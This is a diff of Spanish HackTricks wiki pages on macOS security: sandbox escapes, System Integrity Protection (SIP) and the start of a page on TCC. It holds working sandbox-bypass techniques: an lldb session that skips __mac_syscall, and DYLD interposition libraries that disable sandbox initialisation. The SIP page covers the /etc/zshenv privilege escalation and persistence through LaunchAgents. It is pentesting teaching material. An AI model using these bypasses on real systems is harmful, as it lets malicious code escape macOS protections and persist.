```c
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
system("cat ~/Desktop/del.txt");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.xml" %}
|
||||
|
||||
El archivo `entitlements.xml` es un archivo de configuración que se utiliza para especificar los permisos y capacidades que una aplicación tiene en el sistema. Estos permisos se denominan "entitlements" y se utilizan para restringir el acceso a ciertas funciones y recursos del sistema.
|
||||
|
||||
El archivo `entitlements.xml` se utiliza comúnmente en el contexto de la sandbox de macOS para especificar los permisos que una aplicación tiene dentro de la sandbox. Los permisos que se pueden especificar en el archivo `entitlements.xml` incluyen cosas como acceso a la red, acceso a archivos, acceso a la cámara y al micrófono, y más.
|
||||
|
||||
Es importante tener en cuenta que los permisos especificados en el archivo `entitlements.xml` no son necesariamente exhaustivos y que una aplicación puede tener acceso a recursos adicionales a través de otros medios. Además, es posible que una aplicación tenga permisos que no se especifican en el archivo `entitlements.xml` si se ejecuta fuera de la sandbox.
|
||||
|
||||
En general, el archivo `entitlements.xml` es una herramienta importante para garantizar que las aplicaciones se ejecuten de manera segura y limitada en la sandbox de macOS. Sin embargo, no es una solución completa y se deben tomar otras medidas de seguridad para garantizar que las aplicaciones no puedan escapar de la sandbox o acceder a recursos no autorizados.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Info.plist" %}
|
||||
|
||||
El archivo Info.plist es un archivo de configuración que se encuentra en la raíz de cada aplicación macOS. Este archivo contiene información sobre la aplicación, como su nombre, versión, desarrollador y permisos requeridos. También puede contener información sobre el sandbox de la aplicación, como los recursos a los que se le permite acceder.
|
||||
|
||||
El archivo Info.plist se puede modificar para cambiar los permisos requeridos por la aplicación o para desactivar el sandbox por completo. Sin embargo, esto puede comprometer la seguridad del sistema y permitir que la aplicación acceda a recursos que normalmente estarían fuera de su alcance. Por lo tanto, es importante tener cuidado al modificar este archivo y solo hacerlo si es absolutamente necesario.
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>xyz.hacktricks.sandbox</string>
|
||||
<key>CFBundleName</key>
|
||||
<string>Sandbox</string>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Luego compila la aplicación:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Compile it
|
||||
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
|
||||
|
||||
# Create a certificate for "Code Signing"
|
||||
|
||||
# Apply the entitlements via signing
|
||||
codesign -s <cert-name> --entitlements entitlements.xml sand
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
La aplicación intentará **leer** el archivo **`~/Desktop/del.txt`**, lo cual el **Sandbox no permitirá**.\
|
||||
Cree un archivo allí ya que una vez que se haya evadido el Sandbox, podrá leerlo:
|
||||
```bash
|
||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Depuremos la aplicación de ajedrez para ver cuándo se carga el Sandbox:
|
||||
```bash
|
||||
# Load app in debugging
|
||||
lldb ./sand
|
||||
|
||||
# Set breakpoint in xpc_pipe_routine
|
||||
(lldb) b xpc_pipe_routine
|
||||
|
||||
# run
|
||||
(lldb) r
|
||||
|
||||
# This breakpoint is reached by different functionalities
|
||||
# Check in the backtrace is it was de sandbox one the one that reached it
|
||||
# We are looking for the one libsecinit from libSystem.B, like the following one:
|
||||
(lldb) bt
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
|
||||
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
|
||||
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
|
||||
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
|
||||
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
|
||||
|
||||
# To avoid lldb cutting info
|
||||
(lldb) settings set target.max-string-summary-length 10000
|
||||
|
||||
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
|
||||
(lldb) p (char *) xpc_copy_description($x1)
|
||||
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
|
||||
|
||||
# The 3 arg is the address were the XPC response will be stored
|
||||
(lldb) register read x2
|
||||
x2 = 0x000000016fdfd660
|
||||
|
||||
# Move until the end of the function
|
||||
(lldb) finish
|
||||
|
||||
# Read the response
|
||||
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
|
||||
(lldb) memory read -f p 0x000000016fdfd660 -c 1
|
||||
0x16fdfd660: 0x0000600003d04000
|
||||
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
|
||||
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
|
||||
|
||||
# To bypass the sandbox we need to skip the call to __mac_syscall
|
||||
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
|
||||
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
|
||||
(lldb) c
|
||||
|
||||
# The 1 arg is the name of the policy, in this case "Sandbox"
|
||||
(lldb) memory read -f s $x0
|
||||
0x19300eb22: "Sandbox"
|
||||
|
||||
#
|
||||
# BYPASS
|
||||
#
|
||||
|
||||
# Due to the previous bp, the process will be stopped in:
|
||||
Process 2517 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
|
||||
libsystem_kernel.dylib`:
|
||||
-> 0x187659900 <+0>: mov x16, #0x17d
|
||||
0x187659904 <+4>: svc #0x80
|
||||
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
|
||||
0x18765990c <+12>: pacibsp
|
||||
|
||||
# To bypass jump to the b.lo address modifying some registers first
|
||||
(lldb) breakpoint delete 1 # Remove bp
|
||||
(lldb) register write $pc 0x187659928 #b.lo address
|
||||
(lldb) register write $x0 0x00
|
||||
(lldb) register write $x1 0x00
|
||||
(lldb) register write $x16 0x17d
|
||||
(lldb) c
|
||||
Process 2517 resuming
|
||||
Sandbox Bypassed!
|
||||
Process 2517 exited with status = 0 (0x00000000)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Incluso si se ha evadido el Sandbox, TCC preguntará al usuario si desea permitir que el proceso lea archivos del escritorio.
|
||||
{% endhint %}
|
||||
|
||||
### Abusando de otros procesos
|
||||
|
||||
Si desde el proceso del Sandbox se puede **comprometer otros procesos** que se ejecutan en Sandboxes menos restrictivos (o sin ellos), se podrá escapar a sus Sandboxes:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypass de Interposting
|
||||
|
||||
Para obtener más información sobre **Interposting**, consulte:
|
||||
|
||||
{% content-ref url="../../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Interceptar `_libsecinit_initializer` para evitar el Sandbox
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void _libsecinit_initializer(void);
|
||||
|
||||
void overriden__libsecinit_initializer(void) {
|
||||
printf("_libsecinit_initializer called\n");
|
||||
}
|
||||
|
||||
__attribute__((used, section("__DATA,__interpose"))) static struct {
|
||||
void (*overriden__libsecinit_initializer)(void);
|
||||
void (*_libsecinit_initializer)(void);
|
||||
}
|
||||
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
|
||||
```
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
_libsecinit_initializer called
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
#### Interceptar `__mac_syscall` para evitar el Sandbox
|
||||
|
||||
{% code title="interpose.c" %}
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// Forward Declaration
|
||||
int __mac_syscall(const char *_policyname, int _call, void *_arg);
|
||||
|
||||
// Replacement function
|
||||
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
|
||||
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
|
||||
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
|
||||
printf("Bypassing Sandbox initiation.\n");
|
||||
return 0; // pretend we did the job without actually calling __mac_syscall
|
||||
}
|
||||
// Call the original function for other cases
|
||||
return __mac_syscall(_policyname, _call, _arg);
|
||||
}
|
||||
|
||||
// Interpose Definition
|
||||
struct interpose_sym {
|
||||
const void *replacement;
|
||||
const void *original;
|
||||
};
|
||||
|
||||
// Interpose __mac_syscall with my_mac_syscall
|
||||
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
|
||||
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
|
||||
};
|
||||
```
|
||||
{% endcode %} (This tag should not be translated)
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
|
||||
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
||||
__mac_syscall invoked. Policy: Sandbox, Call: 2
|
||||
__mac_syscall invoked. Policy: Sandbox, Call: 0
|
||||
Bypassing Sandbox initiation.
|
||||
__mac_syscall invoked. Policy: Quarantine, Call: 87
|
||||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
### Compilación estática y vinculación dinámica
|
||||
|
||||
[**Esta investigación**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descubrió 2 formas de evitar el Sandbox. Debido a que el Sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca **libSystem**. Si un binario pudiera evitar cargarla, nunca se sandboxearía:
|
||||
|
||||
* Si el binario estuviera **completamente compilado estáticamente**, podría evitar cargar esa biblioteca.
|
||||
* Si el **binario no necesitara cargar ninguna biblioteca** (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Tenga en cuenta que **incluso los shellcodes** en ARM64 deben vincularse en `libSystem.dylib`:
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
### Abuso de ubicaciones de inicio automático
|
||||
|
||||
Si un proceso con sandbox puede **escribir** en un lugar donde **más tarde se ejecutará el binario una aplicación sin sandbox**, podrá **escapar simplemente colocando** allí el binario. Un buen ejemplo de este tipo de ubicaciones son `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.
|
||||
|
||||
Para esto, incluso puede necesitar **2 pasos**: hacer que un proceso con un sandbox **más permisivo** (`file-read*`, `file-write*`) ejecute su código, que en realidad escribirá en un lugar donde se ejecutará **sin sandbox**.
|
||||
|
||||
Consulte esta página sobre **ubicaciones de inicio automático**:
|
||||
|
||||
{% content-ref url="broken-reference" %}
|
||||
[Enlace roto](broken-reference)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
|
||||
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
|
||||
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,150 @@
|
|||
## **Información Básica**
|
||||
|
||||
**System Integrity Protection (SIP)** es una tecnología de seguridad en macOS que protege ciertos directorios del sistema contra el acceso no autorizado, incluso para el usuario root. Evita modificaciones en estos directorios, incluyendo la creación, alteración o eliminación de archivos. Los principales directorios que SIP protege son:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
Las reglas de protección para estos directorios y sus subdirectorios se especifican en el archivo **`/System/Library/Sandbox/rootless.conf`**. En este archivo, las rutas que comienzan con un asterisco (\*) representan excepciones a las restricciones de SIP.
|
||||
|
||||
Por ejemplo, la siguiente configuración:
|
||||
```javascript
|
||||
javascriptCopy code/usr
|
||||
* /usr/libexec/cups
|
||||
* /usr/local
|
||||
* /usr/share/man
|
||||
```
|
||||
Se indica que el directorio **`/usr`** generalmente está protegido por SIP. Sin embargo, se permiten modificaciones en los tres subdirectorios especificados (`/usr/libexec/cups`, `/usr/local` y `/usr/share/man`), ya que se enumeran con un asterisco (\*) al principio.
|
||||
|
||||
Para verificar si un directorio o archivo está protegido por SIP, puede usar el comando **`ls -lOd`** para verificar la presencia de la bandera **`restricted`** o **`sunlnk`**. Por ejemplo:
|
||||
```bash
|
||||
ls -lOd /usr/libexec/cups
|
||||
drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
|
||||
```
|
||||
En este caso, la bandera **`sunlnk`** significa que el directorio `/usr/libexec/cups` en sí mismo no puede ser eliminado, aunque se pueden crear, modificar o eliminar archivos dentro de él.
|
||||
|
||||
Por otro lado:
|
||||
```bash
|
||||
ls -lOd /usr/libexec
|
||||
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||
```
|
||||
Aquí, la bandera **`restricted`** indica que el directorio `/usr/libexec` está protegido por SIP. En un directorio protegido por SIP, no se pueden crear, modificar o eliminar archivos.
|
||||
|
||||
### Estado de SIP
|
||||
|
||||
Puede verificar si SIP está habilitado en su sistema con el siguiente comando:
|
||||
```bash
|
||||
csrutil status
|
||||
```
|
||||
Si necesitas desactivar SIP, debes reiniciar tu ordenador en modo de recuperación (pulsando Command+R durante el arranque), y luego ejecutar el siguiente comando:
|
||||
```bash
|
||||
csrutil disable
|
||||
```
|
||||
Si deseas mantener SIP habilitado pero eliminar las protecciones de depuración, puedes hacerlo con:
|
||||
```bash
|
||||
csrutil enable --without debug
|
||||
```
|
||||
### Otras restricciones
|
||||
|
||||
SIP también impone varias restricciones adicionales. Por ejemplo, impide la **carga de extensiones de kernel no firmadas** (kexts) y evita la **depuración** de los procesos del sistema macOS. También inhibe herramientas como dtrace para inspeccionar procesos del sistema.
|
||||
|
||||
## Bypasses de SIP
|
||||
|
||||
### Paquetes de instalación
|
||||
|
||||
Los **paquetes de instalación firmados con el certificado de Apple** pueden evitar sus protecciones. Esto significa que incluso los paquetes firmados por desarrolladores estándar serán bloqueados si intentan modificar los directorios protegidos por SIP.
|
||||
|
||||
### Archivo SIP inexistente
|
||||
|
||||
Una posible laguna es que si un archivo está especificado en **`rootless.conf` pero no existe actualmente**, puede ser creado. El malware podría explotar esto para **establecer persistencia** en el sistema. Por ejemplo, un programa malicioso podría crear un archivo .plist en `/System/Library/LaunchDaemons` si está listado en `rootless.conf` pero no está presente.
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
{% hint style="danger" %}
|
||||
El permiso **`com.apple.rootless.install.heritable`** permite eludir SIP
|
||||
{% endhint %}
|
||||
|
||||
[**Investigadores de esta publicación de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) descubrieron una vulnerabilidad en el mecanismo de Protección de Integridad del Sistema (SIP) de macOS, llamada vulnerabilidad 'Shrootless'. Esta vulnerabilidad se centra en el demonio `system_installd`, que tiene un permiso, **`com.apple.rootless.install.heritable`**, que permite que cualquiera de sus procesos secundarios eluda las restricciones del sistema de archivos de SIP.
|
||||
|
||||
Los investigadores descubrieron que durante la instalación de un paquete firmado por Apple (.pkg), **`system_installd`** **ejecuta** cualquier script **post-instalación** incluido en el paquete. Estos scripts son ejecutados por la shell predeterminada, **`zsh`**, que automáticamente **ejecuta** comandos del archivo **`/etc/zshenv`**, si existe, incluso en modo no interactivo. Los atacantes podrían explotar este comportamiento: creando un archivo malicioso `/etc/zshenv` y esperando a que `system_installd` invoque `zsh`, podrían realizar operaciones arbitrarias en el dispositivo.
|
||||
|
||||
Además, se descubrió que **`/etc/zshenv` podría ser utilizado como una técnica de ataque general**, no solo para eludir SIP. Cada perfil de usuario tiene un archivo `~/.zshenv`, que se comporta de la misma manera que `/etc/zshenv` pero no requiere permisos de root. Este archivo podría ser utilizado como un mecanismo de persistencia, activándose cada vez que `zsh` se inicia, o como un mecanismo de elevación de privilegios. Si un usuario administrador se eleva a root usando `sudo -s` o `sudo <comando>`, el archivo `~/.zshenv` se activaría, elevando efectivamente a root.
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
{% hint style="danger" %}
|
||||
El permiso **`com.apple.rootless.install`** permite eludir SIP
|
||||
{% endhint %}
|
||||
|
||||
Desde [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) El servicio XPC del sistema `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` tiene el permiso **`com.apple.rootless.install`**, que otorga al proceso permiso para eludir las restricciones de SIP. También **expone un método para mover archivos sin ninguna verificación de seguridad.**
|
||||
|
||||
## Instantáneas selladas del sistema
|
||||
|
||||
Las Instantáneas selladas del sistema son una característica introducida por Apple en **macOS Big Sur (macOS 11)** como parte de su mecanismo de **Protección de Integridad del Sistema (SIP)** para proporcionar una capa adicional de seguridad y estabilidad del sistema. Son esencialmente versiones de solo lectura del volumen del sistema.
|
||||
|
||||
Aquí hay una mirada más detallada:
|
||||
|
||||
1. **Sistema inmutable**: Las Instantáneas selladas del sistema hacen que el volumen del sistema macOS sea "inmutable", lo que significa que no se puede modificar. Esto evita cualquier cambio no autorizado o accidental en el sistema que pueda comprometer la seguridad o la estabilidad del sistema.
|
||||
2. **Actualizaciones de software del sistema**: Cuando se instalan actualizaciones o mejoras de macOS, macOS crea una nueva instantánea del sistema. El volumen de arranque de macOS utiliza **APFS (Sistema de archivos de Apple)** para cambiar a esta nueva instantánea. Todo el proceso de aplicación de actualizaciones se vuelve más seguro y confiable, ya que el sistema siempre puede volver a la instantánea anterior si algo sale mal durante la actualización.
|
||||
3. **Separación de datos**: En conjunto con el concepto de separación de volumen de datos y sistema introducido en macOS Catalina, la función de Instantáneas selladas del sistema se asegura de que todos sus datos y configuraciones se almacenen en un volumen "**Datos**" separado. Esta separación hace que sus datos sean independientes del sistema, lo que simplifica el proceso de actualización del sistema y mejora la seguridad del sistema.
|
||||
|
||||
Recuerde que estas instantáneas son administradas automáticamente por macOS y no ocupan espacio adicional en su disco, gracias a las capacidades de uso compartido de espacio de APFS. También es importante tener en cuenta que estas instantáneas son diferentes de las **instantáneas de Time Machine**, que son copias de seguridad accesibles por el usuario de todo el sistema.
|
||||
|
||||
### Verificar instantáneas
|
||||
|
||||
El comando **`diskutil apfs list`** lista los **detalles de los volúmenes APFS** y su diseño:
|
||||
|
||||
<pre><code>+-- Contenedor disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
||||
| ====================================================
|
||||
| Referencia de contenedor APFS: disk3
|
||||
| Tamaño (techo de capacidad): 494384795648 B (494.4 GB)
|
||||
| Capacidad utilizada por volúmenes: 219214536704 B (219.2 GB) (44.3% utilizado)
|
||||
| Capacidad no asignada: 275170258944 B (275.2 GB) (55.7% libre)
|
||||
| |
|
||||
| +-< Almacenamiento físico disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
|
||||
| | -----------------------------------------------------------
|
||||
| | Disco de almacenamiento físico APFS: disk0s2
|
||||
| | Tamaño: 494384795648 B (494.4 GB)
|
||||
| |
|
||||
| +-> Volumen disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
|
||||
| | ---------------------------------------------------
|
||||
| | Disco de volumen APFS (Rol): disk3s1 (Sistema)
|
||||
| | Nombre: Macintosh HD (sin distinción entre mayúsculas y minúsculas)
|
||||
| | Punto de montaje: /System/Volumes/Update/mnt1
|
||||
| | Capacidad consumida: 12819210240 B (12.8 GB)
|
||||
| | Sellado: Roto
|
||||
| | FileVault: Sí (Desbloqueado)
|
||||
| | Encriptado: No
|
||||
| | |
|
||||
| | Instantánea: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
|
||||
| | Disco de instantánea: disk3s1s1
|
||||
| | Punto de montaje de instantánea: /
|
||||
<strong>| | Instantánea sellada: Sí
|
||||
</strong>[...]
|
||||
</code></pre>
|
||||
|
||||
En la salida anterior es posible ver que **la instantánea del volumen del sistema de macOS está sellada** (firmada criptográficamente por el sistema operativo). Por lo tanto, si se elude SIP y se modifica, el **sistema operativo no se iniciará**.
|
||||
|
||||
También es posible verificar que el sellado está habilitado ejecutando:
|
||||
```
|
||||
csrutil authenticated-root status
|
||||
Authenticated Root status: enabled
|
||||
```
|
||||
Además, está montado como **solo lectura**:
|
||||
```
|
||||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,377 @@
|
|||
# macOS TCC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Información básica**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)** es un mecanismo en macOS para **limitar y controlar el acceso de las aplicaciones a ciertas características**, generalmente desde una perspectiva de privacidad. Esto puede incluir cosas como servicios de ubicación, contactos, fotos, micrófono, cámara, accesibilidad, acceso completo al disco y mucho más.
|
||||
|
||||
Desde la perspectiva del usuario, se ve a TCC en acción **cuando una aplicación quiere acceder a una de las características protegidas por TCC**. Cuando esto sucede, el **usuario recibe un diálogo** que le pregunta si desea permitir el acceso o no.
|
||||
|
||||
